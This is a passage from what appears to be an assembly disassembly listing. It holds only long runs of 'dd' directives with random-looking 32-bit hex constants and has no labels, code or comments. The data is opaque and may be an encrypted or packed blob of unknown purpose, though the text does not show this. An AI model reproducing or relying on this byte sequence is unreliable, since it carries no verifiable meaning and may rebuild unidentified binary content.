238DE64Dh, 2C5E8973h dd 0ABDE5C28h, 0B74949D2h, 5BC2BA23h, 171592BAh, 2907D93h dd 8D5C6E7Fh, 7061DE47h, 0DD6CCFAFh, 0CFF2E5EFh, 8DF4B950h dd 0D7AFF2E0h, 1FE79AC9h, 7A73CEE7h, 1572833Ah, 99362FE6h dd 993A0836h, 5A4C4D73h, 7D8855CBh, 1241E0FFh, 0D39E003Fh dd 0B58DB093h, 0EE0DADh, 0BA49C976h, 0BCC41C44h, 968FCC06h dd 8DA32A26h, 0B2E22716h, 0AD8D70B3h, 72AAA2ABh, 6D578AE7h dd 428AC811h, 0ACFDBF78h, 28F2A430h, 78D1DF06h, 880E8CD9h dd 0D251C5A7h, 0C5F07DA7h, 0F6423B6Fh, 0AC5008ABh, 2E213306h dd 0FF173262h, 3847E0FDh, 46EB9BDh, 48BDF931h, 8C9C9E13h dd 53E6983Fh, 737ADC9Dh, 0A6A4AA3Fh, 5C2E056Fh, 7534E166h dd 0D29F63ECh, 97049FA3h dd 802CED2Ah, 0F23D7B96h, 4F57F35Bh, 26C8CBC5h, 4FE22C34h dd 9B02903Ch, 8A15D337h, 0DF779DD6h, 0D0AC1E9Fh, 0C9B43476h dd 453EAD8Ah, 9C37529Ah, 6DE36CD7h, 0E8F7C39Ch, 48D8200Ch dd 85CF3F71h, 42F4A73Ch, 0B063BD02h, 45E05852h, 0C191033Ah dd 3B818372h, 376483FAh, 0E1E78235h, 1593B796h, 1269A16Bh dd 0E5A6BCE8h, 7045A0CEh, 61DDBEF5h, 0A9DCC775h, 0B7F64117h dd 27EC6DACh, 0DC9CB7F2h, 0C69AEBEFh, 0C6A74221h, 3E9CD74Ch dd 18C5B00Ch, 0EDE8DD77h, 6F2597EEh, 981AF9F2h, 435BA94Eh dd 7EA8801Ah, 0DCFE18A8h, 0E70DBDB2h, 0EC3CCE5h, 1084CBD6h dd 1C342EF4h, 5927B6D2h, 4C26774Fh, 0A23D274Ah, 8FACB233h dd 3F2AB4EBh, 667E0063h, 277E5283h, 170F6D69h, 32ED1DDBh dd 853432A2h, 73EB81E4h, 0F6D8DB23h, 0F00203F2h, 6561B058h dd 3273981Eh, 27AAA9D5h, 99D05E7Eh, 0C8F259BAh, 7E749B00h dd 0EBB19DBCh, 84086E71h, 1DD5347Ah, 0E26E8AF0h, 0FC244E5Fh dd 70A40ADh, 14C8172h, 17CD529Dh, 0D96FC620h, 0CFB3EBFFh dd 2AFB3557h, 5080EE4Dh, 3D97ACF3h, 165E78DDh, 0DA19C066h dd 4878B81Bh, 82ECD010h, 4B6CBF80h, 26C459D9h, 7B3B1BFCh dd 11E28578h, 8B0AF53Dh, 4762B138h, 0FBEE231Eh, 8B34591Ah dd 98094E90h, 7BDB79CBh, 10D44B31h, 0AE971FF1h, 2C5C1D3Ah dd 6311F7CFh, 95782759h, 8B1C8CC0h, 0E6F18DF8h, 73A863BBh dd 72BA0F83h, 0C0D578D9h, 822B0F7Dh, 63791BFAh, 8AFD7260h dd 0E8FC025Fh, 2675A342h, 9872F982h, 6A85E91Ch, 929F404Ah dd 279371FEh, 1438A29Eh, 0CDD5C640h, 0CA4BC01Ch, 0E00CF113h dd 7C065F66h, 7BBF286Ah, 1EDB31F6h, 777F6F80h, 60DFABD2h dd 25191822h, 0A04917EAh, 0D6F23BF3h, 0EEA9E1EAh, 0F96F52C5h dd 0CEBDAD4h, 93E8A73h, 8A379CBh, 0BC8F6EA1h, 0C9C6F8D8h dd 5934E58Ah, 517098B8h, 667FC38Fh, 0E3101E9h, 0C1DE355Dh dd 123459B3h, 0CFE77BFFh, 2A565100h, 5DF13C7Ch, 0BA2895F9h dd 0F6E9930Bh, 18063AC8h, 0DD3B8650h, 4CABE58Dh, 0BDA1119Ah dd 68629399h, 0CF9F672Eh, 69622B90h, 39C5BA18h, 845A4438h dd 0A86B8973h, 0B62B30C3h, 0A23EC9C7h, 697D2D3Eh, 0BA8AFD09h dd 0E0A206DCh, 4B2F0BDEh, 0DF56AE13h, 0A5142084h, 0FCC621FBh dd 5C013723h, 0AB945185h, 0F7277200h, 0D54BFD15h, 94274180h dd 60B00C3Dh, 5D328B50h, 0D9B78288h, 90F54527h, 5E42029h dd 44CA5936h, 0E3A5E1C0h, 6058CDD9h, 0E26963E4h, 0E910311Fh dd 30A1E677h, 0E2ABD196h, 0CB633250h, 0C4DDBD4h, 7B6C6CC9h dd 0FE14C6ABh, 8DA32E5Ah, 2783BC2h, 9C15B637h, 0EC451E14h dd 0DE80024Ch, 707DDF67h, 78B600FFh, 53EC83E4h, 0A111892Dh dd 9D3DD68Ch, 0CB294D8Dh, 0E65B203Ch, 6ACF33CEh, 89805236h dd 47D27033h, 6DAAEB4Fh, 44C5D4Ch, 152761E8h, 0C1E86B42h dd 6611A9B9h, 78A0C5F8h, 0F01EE4BCh, 682CAD8Dh, 0C18E936Eh dd 8D2D4B44h, 0AE3B952Fh, 1885DA72h, 14F41EDh, 935FCB11h dd 0C8E99D6h, 58067769h, 0F1703434h, 0A705BDECh, 79F5CCCEh dd 70747BB3h, 0DA9074A0h, 47E5F1EEh, 4BCBA9D8h, 0FF736DE9h dd 78DDBD6Ch, 0A1E3B533h, 6150A85Ah, 9F5FA032h, 0E25C9705h dd 2AB199A4h, 80EB5508h, 0D60C84EBh, 0C3E032D4h, 7ED63D72h dd 0FDBC063Eh, 3770E110h, 8B8F15EEh, 0B13D23A3h, 0F9EE3755h dd 4CE93F9Fh, 633CE061h, 613C5A90h, 0E8AD6C9Eh, 6A9A4277h dd 0E28A1ABEh, 4F434E63h, 7EDB28FCh, 412B4BB0h, 0CCE0073Eh dd 0A72408DBh, 7AD58189h, 83B1F95Dh, 0ED85A6D2h, 0D8CD8622h dd 672AF4EEh, 29E33C81h, 2DE004Ah, 99A18AAEh, 0F9FA144Eh dd 0A7CE0ED9h, 0C8B94C6Fh, 2271EE05h, 2A43A05Dh, 7527FF6Fh dd 8F4C80D6h, 0D8CCE306h, 0A0DE0EF1h, 0A3F3B9CDh, 67690F05h dd 0F4FACA08h, 6BED93D8h, 8D08E9B5h, 613E5489h, 2B9A9323h dd 0A8F79DC1h, 658F0D29h, 0C5004081h, 606A0B95h, 70B00ECh dd 0E9E1E5D7h, 9978770Ch, 7E93C23Fh, 809DAF5Eh, 65E9AD7h dd 4D6B6ED0h, 7B813EE0h, 0B6B8A44Bh, 0B857A848h, 0F7F9705Dh dd 0E280D18Ah, 13BE8820h, 1910A34Bh, 4320DF3Ch, 136E274Eh dd 0E0C8BD33h, 0E7EACF1Dh, 341DA666h, 0A3FC4175h, 49A3AA14h dd 0C822AB35h, 4A571C0Bh, 0D0A95C96h, 954A575Dh, 0CAEF5D54h dd 6719F99h, 33BAB5B9h, 0F81CAAB2h, 4FC25BBh, 0B5133290h dd 996D168Ch, 0D5E83509h, 6E3464F5h, 54F1B88Fh, 0D142C88Ch dd 0A6266893h, 381EC74Ch, 0FC381F02h, 8A173A8Fh, 22492B65h dd 0A5710DD8h, 99A01584h, 115A25A1h, 4EFFB93Ch, 8218D373h dd 6FE63138h, 0DF3EC47Dh, 7DE6E0FBh, 0E085DA9Eh, 45E6A54Fh dd 461203CAh, 2A2AB544h, 9C4A7E29h, 0F89C95F3h, 8D55DDE6h dd 576AB930h, 28763EF7h, 0AEABB7C8h, 0DC0502E6h, 47AF7646h dd 78946E66h, 977B3506h, 0C2A050DCh, 89D20633h, 481438C7h dd 0BFDF621Ah, 53011CBFh, 1AB23017h, 0CD85D8F5h, 48EC7749h dd 0DFA77965h, 463CC66Ah, 22D90201h, 2811310Bh, 0E71B191Fh dd 0A9C7F807h, 1AEB2B43h, 541213C6h, 3EB775BFh, 5A003CD8h dd 17DD66FAh, 6CB6024Eh, 1445718h, 0F23CBAC7h, 0BC9A1F5Ch dd 6CDE3ABAh, 4D64BB7Ch, 44176E3Ch, 995B75A5h, 58F40D5Eh dd 63CD3AB9h, 746D68F0h, 1E6B6EEBh, 0E0D94B6h, 6BC14636h dd 2CAD0443h, 18E44F77h, 51C0239Eh, 490DD2D8h, 68186ABh dd 0D730862Ah, 20D4824Ah, 202A16BCh, 85A62C25h, 476B07D8h dd 719DD9EAh, 0D776943h, 6461F89Ch, 8B6C47C1h, 0A97837CFh dd 8240D509h, 3D005052h, 3FB037F2h, 0DC90AD83h, 956A2BDDh dd 0FB017E7Ah, 3F2877AEh, 0E6E18945h, 4B9DA023h, 730FC0C6h dd 5326199Fh, 8FBB6924h, 46164DFAh, 76A53955h, 8F98DFC0h dd 8DE84837h, 0D7EB4CAh, 63CA7FE7h, 7F2E20Ah, 0F22CD894h dd 729A0B4Eh, 770138F3h, 104213Ah, 0DB875C9Eh, 7F97187Ch dd 7E770285h, 6950233Ch, 97E0A11Fh, 4A4A7730h, 1A5FB9AFh dd 57732245h, 0A4A7F5FDh, 199D50D9h, 1B32089h, 0B5E26A98h dd 9BB34BE0h, 7DE49F9Eh, 310C9548h, 79013860h, 8D3D57BEh dd 588A411Ch, 98C860DAh, 213D1842h, 1F40FE0h, 0D9B00ED0h dd 9A98D6E4h, 0A11CA5B7h, 991E346Fh, 0D15F93B9h, 9BEA560Fh dd 0DF34B834h, 0D3FDB424h, 7EED5D20h, 2C9F5C81h, 0B9E81DE0h dd 9C8BB5DEh, 0D7E34AFDh, 6DADA28Dh, 0CF00A1C8h, 104CDEFEh dd 90CD34BCh, 0CFA5CB56h, 3C4B115Bh, 7B64A909h, 0E23998EBh dd 0D9706F90h, 0D331187Fh, 0EC97D527h, 73073107h, 0B52C0387h dd 6E5B0CBBh, 0F6091FE7h, 0BF646440h, 475EA9E7h, 7729175h dd 0E34283B9h, 356928BCh, 0E159D401h, 21E7555h, 37B68092h dd 0B5EF2068h, 7E47FF9Ch, 7382153Ah, 107F21AAh, 9F515288h dd 333B1492h, 0B4BF6FAAh, 115EF422h, 0BCDE8F3Eh, 0AF6B64B7h dd 41647DD4h, 23A0C012h, 0A481D31Dh, 0AFC35103h, 74A508EDh dd 6A3090B6h, 0FC07D84Fh, 0AD10563Ch, 5D2C0ED2h, 0B39F3DE1h dd 0B9D02B3Eh, 25829B31h, 88FB4EDFh, 5761B524h, 5B2F78AAh dd 0F119C623h, 92730323h, 98DDE93Ah, 372ADF3Bh, 14012DECh dd 144D9970h, 6411269Ah, 3832A5DFh, 0B53873BAh, 4A4A6DC9h dd 609C8D8Eh, 6AEF04CBh, 89B525Ah, 244D69h, 4D1C274h, 222D3E2Eh dd 8933F880h, 4EB3DE28h, 0DD15B938h, 0AA4F7151h, 75917FE4h dd 42244857h dd 143145C1h, 3E1DB11Ah, 0C66CA698h, 191FDE14h, 21646D51h dd 60B5EF8Dh, 90A44A5h, 4D9F5391h, 466EADB5h, 0C0CAA395h dd 0B74C19F7h, 54352934h, 1C8F883Ch, 861686DAh, 6382F2E7h dd 4633C466h, 0D26F4330h, 4E7BAE53h, 0A9FDF81Eh, 8CA7DD73h dd 3BF174D0h, 4531114Bh, 89441594h, 0BE5EB5E6h, 0C3D79860h dd 282C9372h, 4154C196h, 66C573E1h, 9060042Bh, 0F8A52EE2h dd 5B10A698h, 0E58B1CD4h, 0E8184E7Dh, 1B3A129Dh, 0F9E46FFFh dd 8D9C00D2h, 6EBB60E8h, 561F8CC3h, 0D50893A8h, 607E6333h dd 8C46666Fh, 8092109Dh, 7A735202h, 0A4C2D217h, 8D370EB5h dd 6691BFEFh, 57E6ECAAh, 0DAB6D697h, 2F55D155h, 86008237h dd 808FF039h, 0CB6F163Ah, 0C30B1AABh, 0CFF7BD24h, 57BFABB6h dd 9CAF5388h, 315B9F3Fh, 0CBC5DD13h, 0A5A3AA4Ch, 41B7ABB2h dd 5C0B2AD1h, 0B814E6D0h, 0DD87871h, 34B57303h, 0B674FCEFh dd 0ADA62170h, 5C05F2E3h, 0E76C919Eh, 0FE4DE3CAh, 4C62397Fh dd 34975410h, 3509F85Fh, 1FEBC44Ah, 0E1192C02h, 503E1697h dd 0CD879D9Bh, 8A1B790Ch, 0C302BA6Dh, 24576BB5h, 86434BF3h dd 0C6BB22F9h, 5B64A7E5h, 0CD630AA5h, 525009EAh, 0B8726867h dd 0AFCB7DD8h, 5FDD3DCBh, 0C62CB816h, 0A02B88CCh, 0E2A85B06h dd 91030268h, 517264D7h, 8A353623h, 0DDC7FFDAh, 0ABB1C403h dd 7C556A60h, 18476525h, 0E1605786h, 0E16DF93Eh, 3B3526ACh dd 60336CF4h, 0B6EE0338h, 0B1D5E5CDh, 0B445D71Eh, 4A66C6F2h dd 8A8131E4h, 2A0884F9h, 997C7310h, 8EDDD94h, 8E999C43h dd 0E3464C4Eh, 0FF4811h, 98F0F987h, 6C026674h, 97E7909Dh dd 0C6C9630Eh, 6C961DA3h, 0B80C418Ah, 0B7702DD7h, 0B24D5375h dd 0CDF56C06h, 1C33CAEEh, 4B23497Dh, 77055004h, 9DAAF0E0h dd 0F76B8B09h, 3B553CECh, 0A07F2347h, 3F457110h, 0DEE2CD03h dd 7594E687h, 47D7D96h, 64C6DFF7h, 4E4553BDh, 96135952h dd 76EDD3BDh, 0A7B01026h, 5CA74125h, 0D444E05Dh, 5E735243h dd 2D0D5246h, 132F8C32h, 76BD89A4h, 4C86D171h, 8ACF9DEFh dd 9E2E0955h, 2D4DB126h, 2408A76Ch, 71DE100Ch, 0F6E4FDCCh dd 43C836C8h, 2DDDEE1Eh, 0B56238E7h, 7E7093BBh, 29E843D0h dd 923C7443h, 0B2927A0Ch, 9CEE0828h, 51B6A180h, 0D8D57B10h dd 72A8AA57h, 0F83A72F6h, 58F68507h, 5AE6B189h, 7F186FD7h dd 0E88422F2h, 0EAA6CEB7h, 256E9EA0h, 0A5011972h, 7E222DF7h dd 63521785h, 0DBF24D7Ch, 3A4353DEh, 701EA418h, 0A481DF13h dd 6C6FA05Eh, 9BC2CD2Ch, 0B385F7BFh, 12BF2229h, 0BD303CAFh dd 3D2D5EAFh, 4DF73C82h, 117FAD33h, 0FE156C54h, 63AA88DEh dd 0E2AA97EDh, 797BC73Ah, 5471EA7Eh, 0CEFCD880h, 0E83C98CBh dd 0C50233A7h, 0C3BB5830h, 43D51EACh, 0A4264910h, 0A68761CBh dd 0BDBE4238h, 8C3DE5B8h, 992C0CAh, 74851102h, 4ADA552Eh dd 5B5270EDh, 6926C63Ch, 29312CE8h, 40950E1Bh, 0FB176543h dd 0EB5D2C5Bh, 1FF71E08h, 0A245BB6Bh, 711D8D3h, 0B79753CEh dd 11DD3F37h, 0D81FAC6Dh, 0E8AA163Ah, 0FBE42B5h, 0B2F0E702h dd 0B637543h, 0C934D91Bh, 5BCF3B8Ah, 0C4D6EF11h, 93068ADh dd 0E3EAE073h, 0D2E95B32h, 449F768Dh, 103AEDEBh, 2EF45630h dd 3C76BF69h, 0F61461B1h, 2237EA8Eh, 0B479603h, 0DEE7D247h dd 6BC0E00Dh, 0F8CEEC59h, 0A257963Ah, 0CC53F9C9h, 0BF70825h dd 0AC374D1Fh, 0CDFF0533h, 0B09FC0ADh, 0C6FB86B8h, 0DFC8EBFAh dd 0E76B61C9h, 0ED82EE8Bh, 85D6C724h, 9F902E0Bh, 0AA06C632h dd 5B8971B2h, 731E7039h, 3C1F1D32h, 0AA6B5BC2h, 5FBE920Fh dd 0F5480DE3h, 0FC570C18h, 0C466227h, 20DCB31Ch, 0C687759h dd 0A1E4F5Fh, 1167E4D6h, 6B17888Ah, 4722D4C7h, 14C456C7h dd 0C8CBCD7Bh, 6FF15BEEh, 0A1C8955Ah, 65B23C50h, 9CFD08A9h dd 0B5D9579Bh, 761E22ABh, 0EDC619C7h, 18E1CA37h, 0C353F4BCh dd 86079FCCh, 0E18B96BDh, 7FA993F0h, 82827960h, 0B00CFA61h dd 24A48811h, 0A01D2A28h, 0D8B3C9D5h, 962A1F85h, 24EB27A4h dd 9E1A20B1h, 5343C5E7h, 121C2459h, 3320ED3h, 0F9596EB9h dd 9DE77376h, 30D5C1B1h, 2487714Fh, 542CD4A9h, 0A80213B5h dd 273631C2h, 9B68791Ah, 0E049AF4Eh, 6C7AC143h, 1A8110C7h dd 35BCC4DBh, 914D7226h, 9C869193h, 0D33ECh, 4EB76037h dd 81F14C2h, 0F05E14BDh, 23D08258h, 12CFC3FDh, 55D16A97h dd 4E1F7B1Bh, 1AC4D0D9h, 27262A69h, 0CDAD824Ah, 83C78BBh dd 0AB0B02CDh, 0AC614C3Fh, 24A5FB77h, 0F090677Bh, 37637844h dd 2C9FDF03h, 0FBD379Bh, 4734ED13h, 0E414E562h, 0C70DA205h dd 73A03CD0h, 2D4B9AE2h, 91B14987h, 7834BB84h, 0C0178853h dd 0AB310C33h, 97A020D3h, 2DAC4012h, 5645C96Fh, 0ED44913Ch dd 0CBC903CBh, 0CD9F043Bh, 0C2BBF41Fh, 7169FAh, 0CF3397BFh dd 8560EC46h, 1B227157h, 0EE68C6C2h, 6AC78499h, 6CAEBACAh dd 3164CD5Fh, 116813B8h, 5E9E6330h, 0C3941D4Bh, 0F420EBFAh dd 0DB081D57h, 1F6E24DFh, 0C99C546h, 0DA0E5403h, 8B41B30Fh dd 0C57F67ADh, 89BE4453h, 0A6D85AD8h, 7A2BF999h, 0B344341Dh dd 0A0AED8D0h, 25FCAD85h, 30CAED7Bh, 8CA082DAh, 3E8EA146h dd 0C1CE4BB4h, 52D24F10h, 3253FB7Fh, 0A99DDB83h, 3A1C6B10h dd 322011BFh, 240CC513h, 0A97715D8h, 2AE47E31h, 2570793h dd 0BF756517h, 3A3C0F46h, 0BCCFA0D5h, 0E38F104Dh, 0E8293BB1h dd 17C295A4h, 1FBB67ACh, 695BADC0h, 8193CD34h, 32F444AFh dd 4A98D7FDh, 0D2ECC438h, 0E83EF79Fh, 6CE7B9E7h, 0E9F8AD03h dd 0CD851566h, 0A54B1B61h, 845FA2C0h, 0BBAD3239h, 4F3F61FFh dd 345C8245h, 0DFB45AEh, 0C7B688F1h, 8459F9C5h, 960708EEh dd 253DDB81h, 87689419h, 873ADF1Ah, 7CF4E583h, 4DC77571h dd 0C1142D0Eh, 0F72AB265h, 2A6702BAh, 54D847BDh, 9E35D079h dd 0BDE33471h, 4C643816h, 53F7AFD9h, 869524BDh, 0E431F3Fh dd 0D18B12C3h, 7EF54545h, 0B4238F5Fh, 400E06E0h, 3706E61h dd 5911055Fh, 554803DCh, 0ECE401BEh, 0BDB7566h, 7704CCCAh dd 2EBA89FDh, 0DC3042CFh, 5C7C1CC5h, 5657722Ah, 91C226D0h dd 8D607440h, 158FBD9Dh, 0A6E94AADh, 452FA4B7h, 9688D59h dd 0CC19B0C1h, 5A7FA55Ah, 0E27D8A9Ch, 55AE4E2Bh, 15225037h dd 0DFB964Bh, 0AAB6C223h, 0AFA375E0h, 0C0F754CEh, 0E75964C0h dd 6F3937C8h, 0E4545B4Ah, 28384CF9h, 3836D298h, 0E37B1975h dd 0CC0171FEh, 0E26B6414h, 0EBCB744Fh, 0BF5BB3FAh, 0BE74F3C5h dd 0FE6A49B3h, 0CF1779E1h, 337D8A4h, 31520C5Eh, 9E4F73D9h dd 99B0D85Dh, 0B110BCF5h, 54143E43h, 247512E8h, 38FDBC80h dd 19984F66h, 8291E706h, 83A7966Bh, 8DD1E3F0h, 8C49048h dd 1CF645B9h, 7DC216EFh, 0C2A80Eh, 95BEA02Ch, 0FF3323B1h dd 480D4988h, 70CE1BE8h, 10547CE4h, 0B7A77FF2h, 0B44677A5h dd 67CDF491h, 478B6346h, 12903739h, 4B18B66Eh, 6C3FA16Eh dd 14E8280Ah, 0AA4B0CA6h, 0AAAB8AD5h, 0A7CD70D6h, 56A631F1h dd 0A25D8F4Fh, 299D09E2h, 442A029h, 402E78Ah, 8E3B7A1Dh dd 0CC50229Dh, 2DADB7B5h, 0A145EB17h, 0C6CD32A0h, 0A8DD219Fh dd 0C46C575Eh, 76EC525Eh, 4B7EBFC1h, 39F676C6h, 0A8108873h dd 0E9AF877Fh, 0E35B029Dh, 0F33710D6h, 0C5225406h, 584A945Fh dd 0A1061EBAh, 4988E451h, 0ADBF7353h, 0FE73F107h, 0D4C493D1h dd 96252F24h, 75CEA93Ch dd 0E710A9C8h, 92EE1321h, 0C09E5157h, 4EFCD34Dh, 0C14B41E0h dd 0B9392099h, 7C7D9AFh, 0D0F6C876h, 6F148152h, 3C8803E6h dd 92807F52h, 9BEB8936h, 54408198h, 4597A18Fh, 0C09E16DBh dd 0D3C5D3A4h, 448789BEh, 0D5A062ADh, 0CEA04286h, 7392EA2Bh dd 242A0B90h, 5965E0ECh, 0F9A7FDBBh, 0D155A834h, 0EADA8A30h dd 19CED3E1h, 5990CDCCh, 0F4846C9Bh, 0B0D40EF8h, 0D70D3136h dd 0DA2A1BBFh, 718DF61h, 287043A2h, 7B4D5F7Ch, 0DF30AFC4h dd 8F060A7Ah, 20C4281h, 0A90C1C61h, 4D3E668Bh, 0DD9EE3CDh dd 8368F12Fh, 6A71A04Ah, 2BC9FB4h, 7D5451CCh, 88EC7311h dd 35D3FF30h, 7B990AAh, 9D35C43Eh, 0A51F9007h, 0AB4475BCh dd 0A9A88E01h, 0A5E6529Ah, 0F997ECCDh, 1E1BD308h, 387A7E77h dd 0C0F85124h, 1009C49Ah, 0B025B133h, 0F6CA0D82h, 23EE321Bh dd 656B685Ch, 0E671C122h, 4629932Dh, 0B5555B02h, 2B0756C6h dd 974575C4h, 0D4ADA793h, 4FF242F5h, 89E6E811h, 0EE526461h dd 3567CB9Bh, 0F236633Bh, 0C481CBE4h, 0A8C1737Ah, 8847940h dd 480CED50h, 0BBB77EFFh, 86ABAC54h, 3408422Ah, 0DC8DD1C2h dd 68B7DB2Dh, 44B4C7E6h, 6BA63569h, 8ACE88C6h, 0AEE484F1h dd 0AA6C4E4Fh, 3472835Ch, 0B837D00Ah, 81F818A7h, 0E5BCD4F6h dd 7BED469Bh, 774F7173h, 0D9FA4B77h, 93E88225h, 963A0B47h dd 0D155B1B3h, 664EAA67h, 659CC9F8h, 8FE115EAh, 171DDE58h dd 6662AAC7h, 0B3A75748h, 0FFE155A2h, 210B33F1h, 0A144D541h dd 158CD705h, 0AE03B77Eh, 0A82376h, 0C62016C3h, 3C9028EAh dd 0C936EB19h, 6A6566CEh, 0C14C2B3Bh, 378003F1h, 5145AD5Bh dd 60A4A6C7h, 2D6A462Dh, 0FB2C80Fh, 83AEB8BBh, 3408A272h dd 1826F05h, 27C176E3h, 0C76ACE11h, 6C79D11Bh, 5F2416C3h dd 5DDB8CF3h, 3058D7C3h, 0CA6CB8A3h, 11E8E6C9h, 0B8FF2A3Ch dd 448FA21Fh, 816C749Dh, 1386EB9h, 0A493BE14h, 9593E5EFh dd 5B524E41h, 9FDF74E5h, 0D3C54123h, 216D88E9h, 2014FF4Bh dd 0CDBD8409h, 95D2AA9Ah, 0EA5A8C39h, 0FA5067EFh, 0C735C896h dd 0FC554Fh, 0AA9E38C4h, 0B2C4AB01h, 0CE6263E5h, 0E18DC798h dd 575729B0h, 24A58ADh, 8CF2D714h, 70AAAA33h, 0D662F4CCh dd 62DF4C1Eh, 92BAE7B8h, 837BFE3Ch, 0B14411CBh, 0C66A795Fh dd 73F8A3D6h, 0FE664F7Bh, 0D279BA60h, 60F5A523h, 935B5C07h dd 0C7FD436Ah, 0E2297400h, 6D347A11h, 9E137BD5h, 4C46FC6Fh dd 3E8F0738h, 5328E77Bh, 7C48822Bh, 9370E6A5h, 0A6E141C6h dd 8796B89Ah, 45CA2E44h, 4613E15Bh, 136D1A4Ah, 0D4AB57B8h dd 0E7363BD4h, 66649835h, 469B41D7h, 0CC56DF56h, 0D09D19CEh dd 17095D2Bh, 0F0289FEFh, 4296D872h, 0E6F41D2Fh, 0CA8EA070h dd 0D38B8504h, 3AF517A5h, 77FECF0Eh, 4A6E8C3Ch, 96182C29h dd 0D313600Bh, 0D675E28Bh, 0EA1EE026h, 0F77E279Fh, 0F7417FB6h dd 0F7472D36h, 1C35E396h, 0BFB883Eh, 2D91B4C1h, 0E57A9EE9h dd 72659F15h, 0D75F7B34h, 3D9FC522h, 0CA6B3DD9h, 68719D3Ch dd 0A98F80C8h, 0DA8E6099h, 0A5D3FE4Dh, 0B02B4872h, 7D638C39h dd 24DC3B26h, 84B30730h, 0E636E1FFh, 75FD2BBh, 98C696A7h dd 9D462579h, 5273BE0h, 71B3CDE4h, 23FCF21Ch, 39DCC381h dd 0E37D477Ch, 967C9F83h, 0A5EB9F6h, 13A80FB2h, 19BA9D2Bh dd 7393B588h, 7C15D937h, 0E4920090h, 96EA05EDh, 1E1577A7h dd 1ABDFEA1h, 0DF53CDE1h, 74821501h, 12911332h, 40D0AF7Ah dd 0EF1D48ABh, 0BD0C0FF8h, 0D11C3673h, 0BE62D725h, 76EF354h dd 0CB8D4900h, 0C8A02103h, 3D400F64h, 1CB1081Dh, 0D73188D8h dd 0F335BF63h, 3240A314h, 0D92DCBDBh, 34DFE1Bh, 0F5849EB2h dd 0EAC86E23h, 96A065DFh, 0D959A403h, 705E5C9Fh, 0FFD442DEh dd 0B96A6FFFh, 0FE4970FEh, 0AA4F7E3Eh, 9718F60Ch, 0D6DE472Ah dd 0D8B75306h, 59E3068Ch, 496DF13Eh, 0FD946DD5h, 0E6FA2892h dd 2113415Ah, 1F02E283h, 4C02C5Eh, 0DA769661h, 98858F64h dd 6BEDAAE6h, 0B1B6C29h, 0EBCFD707h, 58ABFAE1h, 2CF4300Ah dd 64D4C806h, 2E4C3C6Bh, 35A3E394h, 4D804ADCh, 62E0FE1h dd 0BF8BBE9Ah, 271A67EDh, 0D91D5ADEh, 5A2177B1h, 0B48EF8D4h dd 0F0C5A27Fh, 88D630B2h, 8FEBFC63h, 0F7E63800h, 3C1AAF26h dd 0CC4214FCh, 5AB2CEDh, 292203F3h, 0BFD9331Ah, 0BD79974Eh dd 8B8201F7h, 0D52279C2h, 2CF94CDDh, 0E3C53B84h, 0C34905E6h dd 0E6BEB3BFh, 4979D3AAh, 0EA24DCAEh, 8A6A96h, 4AE31C58h dd 6FB33BFAh, 180B44E5h, 6A595E47h, 0B34CAF6Eh, 7F6EAA6Bh dd 35C9707Fh, 0B173BCACh, 0F9FDD997h, 0EE016A09h, 97464FCBh dd 50D363DFh, 715C3202h, 0F5E6EF54h, 0F22DD614h, 3910C6D8h dd 728A6444h, 0B9288D2Ah, 0DAB8CC20h, 0D5B09108h, 1EBBCAAh dd 0C0BDB554h, 0F034D80Ah, 6E3948Fh, 0F727D567h, 1F142317h dd 16EF35A6h, 358AD968h, 0E1B9A550h, 0A1E4DE5Ch, 0E2703FF5h dd 73A1C443h, 0E90EFC65h, 3BCCF847h, 7FA6E55Ch, 14B27D16h dd 0D8F75B5Ch, 81327573h, 0E0476459h, 2B86165Fh, 0BA232423h dd 432E1F75h, 534BD1FDh, 5F70F946h, 0E2E1646h, 628843E6h dd 33D2259Eh, 5CBEB612h, 0ED35B245h, 0AC0DE395h, 0E332BC92h dd 0E6DD765Bh, 6BFE7C32h, 0F882C038h, 0F38154F5h, 6696AEAh dd 5A75571Bh, 0B2ADD834h, 0B50E009h, 468BFD3Ch, 67BD9743h dd 0E530AB26h, 0C58CE7B8h, 63CD4BBFh, 0E0E0C766h, 7C9DA426h dd 0A583187h, 6E1B1C3Dh, 688BAAD9h, 0A60EC18Fh, 950FC2D6h dd 3C7BD659h, 62B0512Ch, 0B46576A1h, 2E12BBC6h, 15CE5E8Bh dd 22DFD938h, 7AFA4012h, 188D8518h, 0F790D22Ah, 5C10E4B6h dd 9A115134h, 0FF5B94Fh, 737D4405h, 920E6C35h, 1E0F22CEh dd 24D0520Ch, 0C5B8E0CCh, 8BEB0D28h, 0B2D4A1B4h, 0B9A3E37Eh dd 0C41B8311h, 0BF8825D1h, 0C00AFA53h, 0F9AE60BCh, 0A214D8C3h dd 4C05D941h, 571A3CAEh, 0F3783466h, 48C20250h, 0CA913CBCh dd 0A3D41F54h, 148B4565h, 0D8636BB6h, 0CDDE3573h, 0C1EDD2FEh dd 1BF8F1DAh, 7186C0C2h, 72E127C0h, 0ACA2E03h, 5F154A82h dd 0DDAAA835h, 775BD5BBh, 92F585AFh, 0DAAAFC74h, 9376F664h dd 0F28CC808h, 0B05BDC0Bh, 0D3AAD780h, 0DE31066h, 0E9A2544h dd 0EC04EFDBh, 0AB03F88Eh, 0BFB0AEC5h, 7ED5804Ah, 82C0F3DDh dd 0A84F3405h, 0C868370h, 0E2A030F5h, 5E21A025h, 12BA8AE6h dd 56EE7404h, 3B7DFB8Ah, 6ACB51B0h, 178D25D0h, 5DC0A8C3h dd 0D2BD82E5h, 0AF32F05Ch, 0EA3BB580h, 9EC010D5h, 0AC68E6F6h dd 0D64D3D4h, 9AF6AB5Dh, 9514392h, 0E4D0867h, 0B1215332h dd 4ECB0C2Fh, 0B3BAF579h, 58339147h, 3379C42Dh, 5B217FA2h dd 0E4414321h, 15B32EDh, 526B337h, 0A91E9BB7h, 5FF62122h dd 4EC87965h, 0A0D3583Bh, 859E9786h, 0C932E2E2h, 4DB142D1h dd 0E3846C7Bh, 0BFFCD4D0h, 5A66169Dh, 495BD2CFh, 0EB59B173h dd 60B6C6A8h, 0F213B38Ch, 0BC514ECCh, 152DEFF5h, 0ECA8911h dd 0F6428299h, 0AE29C6Eh, 4BA5BC4Bh, 8CCE2C3Ch, 2486ACD9h dd 0B60CCBF5h, 2D27494Dh, 4C53BD11h, 9066DC05h, 0A5F37995h dd 6F91E1FEh, 0F7112492h, 0E74496Bh, 0D015316Bh, 13C814F3h dd 319D1130h, 5335FF81h, 6463C39Eh, 228150E4h, 0E35DF554h dd 422F873Dh, 0C55AE916h, 0F2FCB00Fh, 698FA00Ch, 9B14654h dd 1BDE7BBFh, 790A4F91h, 0D4229B06h, 